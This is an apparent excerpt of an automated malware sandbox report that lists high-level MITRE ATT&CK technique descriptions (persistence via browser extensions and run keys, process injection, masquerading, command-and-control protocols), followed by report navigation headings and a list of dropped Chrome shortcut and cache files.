Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 75

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 82

Chrome Cache Entry: 84

Static File Info